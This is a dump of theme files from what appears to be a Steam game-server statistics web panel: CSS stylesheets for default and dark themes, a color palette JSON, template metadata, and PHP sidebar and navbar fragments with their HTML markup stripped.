.nav-toggle:focus, .nav-toggle:hover { outline: 0; border-bottom: none; } .nav-toggle i { position: relative; display: inline-block; width: 25px; height: 2px; color: var(--item-color); font: bold 14px/.4 Helvetica; text-transform: uppercase; text-indent: -55px; background: var(--item-color); transition: all .2s ease-out } .nav-toggle i::after, .nav-toggle i::before { content: ''; width: 25px; height: 2px; background: var(--item-color); position: absolute; left: 0; transition: all .2s ease-out } .nav-toggle i::before { top: -7px } .nav-toggle i::after { bottom: -7px } .nav-toggle:hover i::before { top: -10px } .nav-toggle:hover i::after { bottom: -10px } .nav-toggle { position: absolute; left: 8px; top: 0px; padding: 13px 0 0 0; display: block; margin: 0 auto; height: 55px; width: 44px; z-index: 2001; border-bottom: none; text-align: center; cursor: pointer; text-decoration: none; } .nav { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; padding-left: 0; margin-bottom: 0; list-style: none; } .nav-tabs .nav-item { margin-bottom: -1px; } .nav-link { display: block; } .a-type:hover { background-color: var(--hover); cursor: pointer; color: var(--span-color); } .a-type a:hover { background-color: var(--hover); cursor: pointer; color: var(--span-color); } .footer { margin-top: 1rem; margin-bottom: 1rem; color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .logo-area { max-height: 59px; max-width: 270px; z-index: 99; } .logo-area img { position: relative; left: 48px; max-width: 190px; max-height: 40px; } .right-area { display: inline-block; position: fixed; float: right; right: 6px; } .right-area ul { padding-left: 20px; } .right-area li { float: right; padding: 10px; } .right-area svg, .right-area img { margin-bottom: 2px; height: 15px; }.right-area .subsection svg, .right-area .subsection img { margin-bottom: 2px; height: 18px; } .navbar-icon svg, .navbar-icon img { filter: invert(var(--svg)); } .search i { margin-top: 1.9px; font-size: 1.35em; color: var(--default-text-color); } .search_form { width: 270px; padding: 16px; } .search_form .input-form { margin-bottom: 15px; } .section .subsection { position: absolute; right: 10px; top: 50px; border-radius: 0; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2); background: var(--sidebar-color); list-style: none; -webkit-transition: all 0.25s; transition: all 0.25s; visibility: hidden; min-width: 150px; text-align: left; margin: 0; opacity: 0; padding: 0; } .section:hover .subsection, .sh:hover .subsection { opacity: 1; top: 100%; visibility: visible; } .section .subsection li { width: 100%; border-bottom: 1px solid var(--hover); padding: 4px 10px; } .section .subsection a { color: var(--default-text-color); display: inline-block; line-height: 1.2em; padding: 5px 0; text-decoration: none; } .main-sidebar { background: var(--sidebar-color); box-shadow: 1px 0px 20px rgba(255, 255, 255, 0.2); } .sidebar-menu li:hover { color: var(--default-text-color); background-color: var(--hover); } .sidebar-menu>li>a { color: var(--default-text-color); } .table-active { color: var(--default-text-color); background-color: var(--hover); } .user-details span a { color: var(--default-text-color); } .user-details span a:hover { color: var(--hover); } .user-details span { color: #111111; } .user-rank>i { color: #111111; } .treeview-menu>li>a { color: #111111 } .select-panel-pages { float: right; margin-top: 10px; margin-bottom: 10px; margin-right: 25px; } .select-panel-table { display: inline-block; margin-left: 25px; } .select-panel select { color: #ffffff; border-top: 0; border-left: 0; border-right: 0; border-bottom: 0; background: transparent; border-image: none; outline-color: transparent; box-shadow: none; } .select-panel select option { font-weight: var(--font-weight-2); font-size: 13px; color: var(--default-text-color); background: var(--sidebar-color); } .button{ font-weight: var(--font-weight-2); font-size: 12px; margin-top: 10px; padding-left: 14px; padding-right: 14px; color: #FFF; background-color: var(--span-color); border: none; cursor: pointer; -ms-touch-action: manipulation; touch-action: manipulation; background-image: none; text-align: center; line-height: 26px; vertical-align: middle; user-select: none; outline: none; float: right; } .input-form input { font-size: 15px; font-weight: var(--font-weight-2); color: var(--default-text-color); background-color: inherit; -webkit-transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; -o-transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; border-bottom: 2px solid var(--table-line); width: 100%; } .input-form .input_text { color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .input-form input:focus:not([readonly]) { border-bottom: 2px solid var(--span-color); } .input-form label { float: left; white-space: nowrap; width: 19%; margin-right: 20px; } .input-form select { cursor: pointer; white-space: nowrap; text-align: left; outline: none; color: var(--default-text-color); background-color: inherit; height: 24px; width: 100%; -moz-appearance: none; -webkit-appearance: none; border: none; border-bottom: 2px solid var(--table-line); font-weight: var(--font-weight-2); font-size: 15px; } .input-form select:focus:not([readonly]) { border-bottom: 2px solid var(--span-color); } .input-form select option { border: none; outline: none; background-color: var(--sidebar-color); font-weight: var(--font-weight-2); } .badge img{ filter: invert(var(--svg)); } .modal-window { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 999; opacity: 0; pointer-events: none; transition: all 0.3s; } .modal-window .card { border: 1px solid var(--default-text-color); border-radius: 2px; } .modal-window:target { opacity: 1; pointer-events: auto; } .modal-window > div { width: 400px; position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); background: var(--sidebar-color); } .login_form{ padding-left:18px; padding-right:18px; padding-bottom: 18px; } .no_steam{ float: right; margin-bottom: 16px; } .login_form > .input-form{ margin-bottom: 15px; } .modal-close { position: absolute; right: 15px; color: #aaa; text-align: center; width: 40px; text-decoration: none; } .modal-close img{ width: 20px; height: 20px; } .modal-close:hover { color: var(--default-text-color); } .btn_form { margin-top: .375rem; margin-right: .375rem; margin-bottom: .375rem; } .btn { cursor: pointer; white-space: nowrap; text-align: center; padding: 6px 15px; outline: none; font-weight: 400; font-size: .81rem; background: var(--span-color); color: #fff; border-radius: 2px; box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); word-wrap: break-word; } .sidebar-right { margin-top: 56px; top: 0; right: 0; height: 100%; position: fixed ; width: 220px; z-index: 2; background: var(--sidebar-color); box-shadow: 0 0 10px rgba(0, 0, 0, .1); } .sidebar-right .user-sidebar-right-block { background: linear-gradient(45deg,var(--sidebar-gradient-2),var(--sidebar-gradient-1)); } .sidebar-right .info { align-items: center; display: flex; padding-left: 18px; padding-top: 8px; padding-bottom: 8px; color: #111; } .sidebar-right .details { font-size: 14px; font-weight: 600; } .sidebar-right .details .admin_type { font-weight: 600; font-size: 14px; } .sidebar-right .details .admin_rights { font-weight: 600; font-size: 10px; } .card_info_block{ display:none; background: var(--sidebar-color); height:180px; width:300px; } tr th a:hover .card_info_block{ position: absolute; display:block; margin-right: auto; margin-left: auto; margin-top: -200px; } .sidebar-offcanvas-desktop { display: none } .sidebar-menu .sidebar-icon { margin-right: 0; display: inline-block } .sidebar-menu .sidebar-icon img, .sidebar-menu .sidebar-icon svg { margin-left: 2px; height: 20px; filter: invert(var(--svg)) } .sidebar-menu .sidebar-icon i { font-size: 1.52em; color: invert(var(--svg)) } .sidebar-menu .item-name { position: absolute; top: 18px; left: 54px; display: inline-block } .sidebar-menu > li.active:after { content: ""; display: block; width: 5px; height: 100%; background: #222; position: absolute; right: 0; bottom: 0 } .sidebar-menu { height: 100%; list-style: outside none none; padding: 0; overflow-y: auto; overflow-x: hidden; white-space: nowrap } .sidebar-menu > li > a { text-decoration: none; display: block; padding-left: 17px; padding-top: 15px; padding-bottom: 15px; font-size: 12px; font-weight: 600; position: relative } .user-info { align-items: center; display: flex; padding-left: 18px; padding-top: 8px; padding-bottom: 8px } .user-sidebar-block { background: linear-gradient(45deg, var(--sidebar-gradient-1), var(--sidebar-gradient-2)) } .user-info a img { left: 77px; width: 50px; height: 50px; border-radius: 50%; vertical-align: bottom; border: 3px solid #fff } .user-info img { left: 77px; width: 50px; height: 50px; border-radius: 50%; vertical-align: bottom; border: 3px solid #fff } .user-rank { align-items: center; display: flex; padding-left: 18px; padding-bottom: 10px; position: relative } .rank_img { text-align: center; width: 20%; } .user-rank-more { align-items: center; display: flex; padding-left: 18px; padding-top: 10px; padding-bottom: 10px; position: relative } .user-rank img { max-width: 50px; max-height: 20px } .user-rank-more img { max-width: 50px; max-height: 20px } .user-details { font-size: 14px; font-weight: 600 } .user-rank .icon-down { position: absolute; top: -2px; right: 8px } .user-rank .icon-down img, .user-rank .icon-down svg { width: 22px; height: 22px; filter: var(--svg) } .user-rank .icon-down i { font-size: 1.52em; color: #111; } .user-details span { display: table; margin-left: 10px; margin-bottom: 3px; white-space: nowrap; font-weight: 600; font-size: 11px; text-decoration: none } .user-details span a { font-weight: 600; font-size: 13px; text-decoration: none } .user-details .user_name { font-weight: 600; font-size: 14px } .user-details .user_text { margin-bottom: 0px; } .user-details ._logout { position: absolute; top:12px; right: 15px; font-weight: 600; font-size: 14px } .rank-details { font-size: 12px; font-weight: 600; margin-left: 10px; color: #111111; } .rank-mini-li > a { text-decoration: none } .main-sidebar { margin-top: 56px; top: 0; left: 0; height: 100%; position: fixed; width: 270px; z-index: 2; overflow-y:auto; padding-bottom: 58px; box-shadow: 0 0 10px rgba(0, 0, 0, .1) } @media (max-width: 1025px) { .global-container { margin-left: 0 } .sidebar-collapse .global-container { margin-left: 0px } .main-sidebar { margin-top: 56px; -webkit-transform: translate(-330px, 0); -ms-transform: translate(-330px, 0); -o-transform: translate(-330px, 0); transform: translate(-330px, 0) } .sidebar-open .swipe-area { -webkit-transform: translate(270px, 0); -ms-transform: translate(270px, 0); -o-transform: translate(270px, 0); transform: translate(270px, 0) } .swipe-area { margin-top: 58px; top: 0; left: -12px; min-height: 100%; position: fixed; width: 30px; z-index: 2 } .sidebar-open .swipe-area { -webkit-transform: translate(270px, 0); -ms-transform: translate(270px, 0); -o-transform: translate(270px, 0); transform: translate(270px, 0) } .sidebar-open .main-sidebar { overflow-y: auto; -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0) } } @media (min-width: 1025px) { .sidebar-collapse .main-sidebar { -webkit-transform: translate(-210px, 0); -ms-transform: translate(-210px, 0); -o-transform: translate(-210px, 0); transform: translate(-210px, 0) } .sidebar-collapse .user-rank img { max-width: 42px; max-height: 20px; } .sidebar-collapse .sidebar-menu { overflow: visible; } .sidebar-collapse .global-container { margin-left: 64px } .sidebar-collapse .user-details, .sidebar-collapse .icon-down, .sidebar-collapse .rank-details, .sidebar-collapse .user-rank-more{ display: none; } .sidebar-collapse .sidebar-menu .sidebar-icon { margin-left: 211px; } .sidebar-collapse .user-rank { position: absolute; top: 60px; margin-left: 201px; padding-right: 10px; padding-bottom: 2px; } .sidebar-collapse .sidebar-menu .item-name { display: none; } .sidebar-collapse .user-rank > img { width: 42px; height: 18px; } .sidebar-collapse .user-info a img{ position: absolute; top: 7px; margin-left: 140px; width: 45px; height: 45px; } .swipe-area { margin-top: 58px; top: 0; left: 260px; min-height: 100%; position: fixed; width: 27px; z-index: 2 } .sidebar-collapse .swipe-area { -webkit-transform: translate(-207px, 0); -ms-transform: translate(-207px, 0); -o-transform: translate(-207px, 0); transform: translate(-207px, 0) } } .lng-dropdown { display: none } .treeview-menu { display: none; list-style: outside none none; margin: 0; width: 100%; } .user-rank > i { position: absolute; right: 21px; margin-top: 2px } .notification { position: relative; } .notification span { position: absolute; top: -5px; left: 13px; color: #fff; background: var(--span-color); border-radius: 100%; padding-top: 2px; width: 17px; height: 17px; font-size: 9px; text-align: center; display: none; } .main_notifications { padding-left: unset; } .main_notifications a { width: 100%; } .notifications-item .icon { font-size: 20px; color: var(--span-color); } .notifications-item .text { font-size: 12px; } ================================================ FILE: app/templates/default/assets/js/app.js ================================================ ================================================ FILE: app/templates/default/colors.json ================================================ { "--bg-color": "#2b2b2b", "--navbar-color": "#121212", "--sidebar-color": "#1f1f1f", "--sidebar-gradient-1": "#68d9ff", "--sidebar-gradient-2": "#6262ff", "--item-color": "#fff", "--default-text-color": "#fff", "--top-text-color": "#737373", "--default-text-color-invert": "#111", "--hover": "#262626", "--table-line": "#515151", "--svg": "100", "--font-weight-0": "400", "--font-weight-1": "500", "--font-weight-2": "500", "--font-weight-3": "600", "--font-weight-4": "700", "--span-color": "#6262ff", "--span-color-addit": "#96e4ff", "--span-color-back": "#362e98", "--server-graph-rgba": "98, 98, 255, 1" } ================================================ FILE: app/templates/default/description.json ================================================ { "name": "Стандартный шаблон LR WEB", "version": "1.0", "author": "Flames" } ================================================ FILE: app/templates/default/interface/head.php ================================================ > ================================================ FILE: app/templates/default/interface/navbar.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    ================================================ FILE: app/templates/default/interface/sidebar.php ================================================ user_auth ) ): ?>
    get_translate_phrase( $Auth->user_auth[0]['rank'], 'ranks_' . $Auth->server_info[ 0 ]['ranks_pack'] )?>
    user_rank_count; ++$d ):?>
    get_translate_phrase( $Auth->user_auth[$d]['rank'], 'ranks_' . $Auth->server_info[ 0 ]['ranks_pack'] )?>
    get_translate_phrase('_Home')?>
    arr_module_init['sidebar'] ); $d < $c; $d++ ): if( ! empty( $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'] ) ): for ( $_d = 0, $_c = sizeof( $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'] ); $_d < $_c; $_d++ ):?>
    "> array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name'], 0, 1) == '_') { if ($Translate->translate( $Modules->arr_module_init['sidebar'][ $d ],$Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']) == 'No Translation'){ print $Translate->get_translate_phrase($Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']); } else { print $Translate->translate( $Modules->arr_module_init['sidebar'][ $d ], $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']); } }else{ print $Modules->array_modules[ $Modules->arr_module_init['sidebar'][ $d ] ]['sidebar'][ $_d ]['name']; }?>
    arr_general['steam_only_authorization'] == 0 ):?> ================================================ FILE: app/templates/default_dark/assets/css/css_library/animations/1.css ================================================ .global-container { transition: transform .3s ease-in-out, margin .4s ease-in-out; } .offcanvas { transition: .5s; } [data-tooltip]:before, [data-tooltip]:after, .tooltip:before, .tooltip:after { -webkit-transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, -webkit-transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); -moz-transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, -moz-transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); transition: opacity 0.2s ease-in-out, visibility 0.2s ease-in-out, transform 0.2s cubic-bezier(.71, 1.7, .77, 1.24); } ================================================ FILE: app/templates/default_dark/assets/css/css_library/badge_type/1.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff; background-color: var(--span-color); box-shadow: 0 1px 2px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); } .badge a { fill: #ffffff; color: #ffffff; } ================================================ FILE: app/templates/default_dark/assets/css/css_library/badge_type/2.css ================================================ .badge { display: inline-block; padding: .35em .6em; font-size: 75%; font-weight: 500; line-height: 1; text-align: center; white-space: nowrap; vertical-align: baseline; transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out; fill: #ffffff; color: #ffffff; background-color: var(--span-color); box-shadow: var(--span-color-back) 5px 5px; } .badge a { fill: #ffffff; color: #ffffff; transition-duration: 400ms; } ================================================ FILE: app/templates/default_dark/assets/css/css_library/form_border/0.css ================================================ .badge { border: 0px solid transparent; border-radius: 0px; } .card { border: 0px solid transparent; border-radius: 0px; } .tooltip-left:after, .tooltip-right:after, .tooltip-top:after { border: 0px solid transparent; border-radius: 0px; } ================================================ FILE: app/templates/default_dark/assets/css/css_library/form_border/1.css ================================================ .badge { border: 0px solid transparent; border-radius: 2px; } .card { border: 0px solid transparent; border-radius: 4px; } .tooltip-left:after, .tooltip-right:after, .tooltip-top:after { border: 0px solid transparent; border-radius: 2px; } ================================================ FILE: app/templates/default_dark/assets/css/style.css ================================================ @import url('https://fonts.cdnfonts.com/css/montserrat'); ::-webkit-scrollbar-thumb{ border-width:1px 1px 1px 2px; background-color: var(--table-line); } ::-webkit-scrollbar-thumb:hover{ border-width: 1px 1px 1px 2px; border-color: var(--table-line); background-color: var(--table-line); } ::-webkit-scrollbar-track{ border-width:0; } ::-webkit-scrollbar-track:hover{ background-color: var(--sidebar-color); } .navbar { display: flex; flex-wrap: wrap; align-items: center; position: relative; background-color: var(--sidebar-color); box-shadow: 0 1px 5px rgba(0, 0, 0, 0.2); z-index: 99; justify-content: space-between; padding: .5rem 1rem; } .navbar>.container, .navbar>.container-fluid { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between } .nav-toggle:active, .nav-toggle:focus, .nav-toggle:hover { outline: 0; border-bottom: none; } .nav-toggle { padding: 15px 0 0 0; display: block; height: 55px; font-size: 20px; transition: .5s; margin: 0 auto; color: var(--top-text-color); width: 44px; z-index: 2001; border-bottom: none; text-align: center; cursor: pointer; text-decoration: none; } .nav { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; padding-left: 0; margin-bottom: 0; list-style: none; } .nav-tabs .nav-item { margin-bottom: -1px; } .nav-link { display: block; } .a-type:hover { background-color: var(--hover); cursor: pointer; color: var(--span-color); } .a-type a:hover { background-color: var(--hover); cursor: pointer; color: var(--span-color); } .footer { margin-top: 1rem; margin-bottom: 1rem; color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .logo-area { max-height: 59px; max-width: 270px; z-index: 99; } .logo-area img { position: relative; left: 48px; max-width: 190px; max-height: 40px; } .right-area ul { padding-left: 20px; } .right-area li { position: relative; float: right; padding: 0 7px; } .right-area svg, .right-area img { margin-bottom: 2px; height: 26px; }.right-area .subsection svg, .right-area .subsection img { margin-bottom: 2px; height: 18px; } .navbar-icon svg, .navbar-icon img { filter: invert(var(--svg)); } .search i { margin-top: 1.9px; font-size: 1.35em; color: var(--default-text-color); } .search_form { width: 270px; padding: 16px; } .search_form .input-form { margin-bottom: 15px; } .section .subsection { position: absolute; right: 10px; top: 50px; border-radius: 0; box-shadow: 0 2px 10px rgb(0 0 0 / 20%); background: var(--sidebar-color); list-style: none; -webkit-transition: all 0.25s; transition: all 0.25s; visibility: hidden; min-width: 150px; text-align: left; margin: 0; opacity: 0; padding: 0; } .section:hover .subsection, .sh:hover .subsection { opacity: 1; top: 2.7rem; visibility: visible; } .section .subsection li { width: 100%; border-bottom: 1px solid var(--hover); padding: 4px 10px; } .section .subsection a { color: var(--default-text-color); display: inline-block; line-height: 1.2em; padding: 5px 0; text-decoration: none; } .main-sidebar { background: var(--sidebar-color); box-shadow: 1px 0px 20px rgba(255, 255, 255, 0.2); } .sidebar-menu li:hover { transition: .3s; border-left: 2px solid var(--span-color); } .sidebar-menu li:hover a { color: var(--default-text-color); transition: .3s; } .sidebar-active { transition: .3s; border-left: 2px solid var(--span-color) !important; } .sidebar-active a { color: var(--default-text-color) !important; transition: .3s; } .sidebar-menu li { border-left: 2px solid transparent; } .sidebar-menu>li>a { color: var(--top-text-color); } .table-active { color: var(--default-text-color); background-color: var(--hover); } .user-details span a { color: var(--default-text-color); } .user-details span a:hover { color: var(--hover); } .user-details span { color: #111111; } .user-rank>i { color: #111111; } .treeview-menu>li>a { color: #111111 } .select-panel-pages { float: right; margin-top: 10px; margin-bottom: 10px; margin-right: 25px; } .select-panel-table { display: inline-block; margin-left: 25px; } .select-panel select { color: #ffffff; border-top: 0; border-left: 0; border-right: 0; border-bottom: 0; background: transparent; border-image: none; outline-color: transparent; box-shadow: none; } .select-panel select option { font-weight: var(--font-weight-2); font-size: 13px; color: var(--default-text-color); background: var(--sidebar-color); } .button{ font-weight: var(--font-weight-2); font-size: 12px; margin-top: 10px; padding-left: 14px; padding-right: 14px; color: #FFF; background-color: var(--span-color); border: none; cursor: pointer; -ms-touch-action: manipulation; touch-action: manipulation; background-image: none; text-align: center; line-height: 26px; vertical-align: middle; user-select: none; outline: none; float: right; } .input-form input { font-size: 15px; font-weight: var(--font-weight-2); color: var(--default-text-color); background-color: inherit; -webkit-transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; -o-transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; border-bottom: 2px solid var(--table-line); width: 100%; } .input-form .input_text { color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .input-form input:focus:not([readonly]) { border-bottom: 2px solid var(--span-color); } .input-form label { float: left; white-space: nowrap; width: 19%; margin-right: 20px; } .input-form select { cursor: pointer; white-space: nowrap; text-align: left; outline: none; color: var(--default-text-color); background-color: inherit; height: 24px; width: 100%; -moz-appearance: none; -webkit-appearance: none; border: none; border-bottom: 2px solid var(--table-line); font-weight: var(--font-weight-2); font-size: 15px; } .input-form select:focus:not([readonly]) { border-bottom: 2px solid var(--span-color); } .input-form select option { border: none; outline: none; background-color: var(--sidebar-color); font-weight: var(--font-weight-2); } .badge img{ filter: invert(var(--svg)); } .modal-window { position: fixed; top: 0; right: 0; bottom: 0; left: 0; transform: translate(-10px, -10px); z-index: 999; opacity: 0; pointer-events: none; transition: all 0.3s; backdrop-filter: blur(2px); } .modal-window .card { border: 2px solid var(--bg-color); border-radius: 10px; background: var(--sidebar-color); } .modal-window:target { opacity: 1; pointer-events: auto; transform: translate(0px, 0px); } .modal-window > div { width: 400px; position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); background: var(--sidebar-color); } .login_form{ padding-left:18px; padding-right:18px; padding-bottom: 18px; } .no_steam{ float: right; margin-bottom: 16px; } .login_form > .input-form{ margin-bottom: 15px; } .modal-close { position: absolute; right: 15px; color: #aaa; text-align: center; width: 40px; text-decoration: none; } .modal-close img{ width: 20px; height: 20px; } .modal-close:hover { color: var(--default-text-color); } .btn_form { margin-top: .375rem; margin-right: .375rem; margin-bottom: .375rem; } .btn { cursor: pointer; white-space: nowrap; text-align: center; padding: 6px 15px; outline: none; font-weight: 400; font-size: .81rem; background: var(--span-color); color: #fff; border-radius: 2px; box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); word-wrap: break-word; } .sidebar-right { top: 0; right: 0; height: 100%; position: fixed ; width: 220px; z-index: 2; background: var(--sidebar-color); box-shadow: 0 0 10px rgba(0, 0, 0, .1); } .sidebar-right .user-sidebar-right-block { background: linear-gradient(45deg,var(--sidebar-gradient-2),var(--sidebar-gradient-1)); } .sidebar-right .info { align-items: center; display: flex; padding-left: 18px; padding-top: 8px; padding-bottom: 8px; color: #111; } .sidebar-right .details { font-size: 14px; font-weight: 600; } .sidebar-right .details .admin_type { font-weight: 600; font-size: 14px; } .sidebar-right .details .admin_rights { font-weight: 600; font-size: 10px; } .card_info_block{ display:none; background: var(--sidebar-color); height:180px; width:300px; } tr th a:hover .card_info_block{ position: absolute; display:block; margin-right: auto; margin-left: auto; margin-top: -200px; } .sidebar-offcanvas-desktop { display: none } .sidebar-menu .sidebar-icon { margin-right: 0; display: inline-block } .sidebar-menu .sidebar-icon img, .sidebar-menu .sidebar-icon svg { margin-left: 2px; height: 20px; filter: invert(var(--svg)) } .sidebar-menu .sidebar-icon i { font-size: 1.52em; color: invert(var(--svg)) } .sidebar-menu .item-name { position: absolute; top: 18px; left: 54px; display: inline-block } .sidebar-menu > li.active:after { content: ""; display: block; width: 5px; height: 100%; background: #222; position: absolute; right: 0; bottom: 0 } .sidebar-menu { height: 100%; list-style: outside none none; margin-top: 20px; padding: 0; overflow-y: auto; overflow-x: hidden; white-space: nowrap; } .sidebar-menu > li > a { text-decoration: none; display: block; padding-left: 17px; padding-top: 15px; padding-bottom: 15px; font-size: 12px; transition: .3s; font-weight: 600; position: relative } .user-info { align-items: center; text-align: center; padding-top: 8px; padding-bottom: 8px; } .user-info a img { left: 77px; width: 80px; height: 80px; border-radius: 50%; vertical-align: bottom; border: 3px solid transparent; } .user-info img { left: 77px; width: 50px; height: 50px; border-radius: 50%; vertical-align: bottom; border: 3px solid #fff; } .user-rank { align-items: center; display: flex; padding-left: 18px; padding-bottom: 10px; position: relative } .rank_img { text-align: center; width: 20%; } .user-rank-more { align-items: center; display: flex; padding-left: 18px; padding-top: 10px; padding-bottom: 10px; position: relative } .user-rank img { max-width: 50px; max-height: 20px } .user-rank-more img { max-width: 50px; max-height: 20px } .user-details { font-size: 14px; font-weight: 600; margin-top: 20px; } .user-rank .icon-down { position: absolute; top: -2px; right: 8px } .user-rank .icon-down img, .user-rank .icon-down svg { width: 22px; height: 22px; filter: var(--svg) } .user-rank .icon-down i { font-size: 1.52em; color: #111; } .user-details span { margin-left: 10px; margin-bottom: 3px; white-space: nowrap; font-weight: 600; color: var(--default-text-color); font-size: 11px; text-decoration: none; } .user-details span a { font-weight: 600; font-size: 13px; text-decoration: none } .user-details .user_name { font-weight: 600; font-size: 14px } .user_text { margin-bottom: 0px; color: var(--table-line); } .user-details ._logout { position: absolute; top: 65px; right: 15px; font-weight: 600; font-size: 14px; } .rank-details { font-size: 12px; font-weight: 600; margin-left: 10px; color: #111111; } .rank-mini-li > a { text-decoration: none } .main-sidebar { top: 0; left: 0; height: 100%; position: fixed; width: 270px; z-index: 100; overflow-y:auto; padding-bottom: 58px; box-shadow: 0 0 10px rgba(0, 0, 0, .1); } @media (max-width: 1025px) { .global-container { margin-left: 0 } .sidebar-collapse .global-container { margin-left: 0px } .main-sidebar { -webkit-transform: translate(-330px, 0); -ms-transform: translate(-330px, 0); -o-transform: translate(-330px, 0); transform: translate(-330px, 0); } .sidebar-open .swipe-area { -webkit-transform: translate(270px, 0); -ms-transform: translate(270px, 0); -o-transform: translate(270px, 0); transform: translate(270px, 0) } .swipe-area { margin-top: 58px; top: 0; left: -12px; min-height: 100%; position: fixed; width: 30px; z-index: 2 } .sidebar-open .swipe-area { -webkit-transform: translate(270px, 0); -ms-transform: translate(270px, 0); -o-transform: translate(270px, 0); transform: translate(270px, 0) } .sidebar-open .main-sidebar { overflow-y: auto; -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } } @media (min-width: 1025px) { .sidebar-collapse .main-sidebar { -webkit-transform: translate(-210px, 0); -ms-transform: translate(-210px, 0); -o-transform: translate(-210px, 0); transform: translate(-210px, 0) } .sidebar-collapse .user-rank img { max-width: 42px; max-height: 20px; } .sidebar-collapse .sidebar-menu { overflow: visible; margin-top: -20px; } .sidebar-collapse .global-container { margin-left: 64px } .sidebar-collapse .user-details, .sidebar-collapse .icon-down, .sidebar-collapse .rank-details, .sidebar-collapse .user-rank-more{ display: none; } .sidebar-collapse .sidebar-menu .sidebar-icon { margin-left: 211px; } .sidebar-collapse .user-rank { position: absolute; top: 110px; margin-left: 201px; padding-right: 10px; padding-bottom: 2px; } .sidebar-collapse .sidebar-menu .item-name { display: none; } .sidebar-collapse .user-rank > img { width: 42px; height: 18px; } .sidebar-collapse .user-info a img{ position: absolute; top: 60px; margin-left: 140px; width: 45px; height: 45px; } .swipe-area { margin-top: 58px; top: 0; left: 260px; min-height: 100%; position: fixed; width: 27px; z-index: 2 } .sidebar-collapse .swipe-area { -webkit-transform: translate(-207px, 0); -ms-transform: translate(-207px, 0); -o-transform: translate(-207px, 0); transform: translate(-207px, 0) } } .lng-dropdown { display: none } .treeview-menu { display: none; list-style: outside none none; margin: 0; width: 100%; } .user-rank > i { position: absolute; right: 21px; margin-top: 2px } .notification { position: relative; } .notification span { position: absolute; top: -5px; left: 13px; color: #fff; background: var(--span-color); border-radius: 100%; padding-top: 2px; width: 17px; height: 17px; font-size: 9px; text-align: center; display: none; } .main_notifications { padding-left: unset; } .main_notifications a { width: 100%; } .notifications-item .icon { font-size: 20px; color: var(--span-color); } .notifications-item .text { font-size: 12px; } .container-fluid { width: 100%; max-width: 1920px; padding-right: 30px; padding-top: 0; padding-left: 17px; margin-right: auto; margin-left: auto; z-index: 0; } .auth-steam-sidebar { display: none; } @media (min-width: 1025px){ .sidebar-collapse .nav-toggle { transform: translate(105px, 0px); transition: .5s; } .logo-area .nav-toggle { display: none !important; } .logo-area img { left: 0 !important; display: block !important; } .sidebar-collapse .auth-steam-sidebar { display: block; position: relative; left: 216px; padding: 7px; color: var(--default-text-color); border-radius: 5px; width: 45px; background: var(--span-color); } } .sidebar-collapse .sidebar-menu > li { border-left: none !important; } .sidebar-collapse .auth-btn, .user_or { display: none; } .sidebar-open .global-container { filter: blur(3px); user-select: none; pointer-events: none; transition: .3s; } .card { box-shadow: 0 1px 5px rgb(0 0 0 / 20%); } .user_text.lk { display: block; color: var(--sidebar-gradient-2) !important; font-size: 11px; } .logo-area .nav-toggle { position: relative; top: -10px; transform: none !important; max-width: 190px; max-height: 40px; } .logo-area img { display: none; } .auth-btn { padding: 10px; border-radius: 5px; color: var(--default-text-color); padding-left: 0; border: 1px solid var(--span-color); font-weight: 600; } .auth-btn > i { color: var(--default-text-color); padding: 12px; background: var(--span-color); margin-right: 5px; } .user-sidebar-block { text-align: center; } .user-sidebar-block .user_or { display: block; margin-top: 5px; color: var(--table-line); } .table thead th { border-bottom: 2px solid var(--span-color); } .navbar-icon img { height: 26px; filter: invert(35%) sepia(0%) 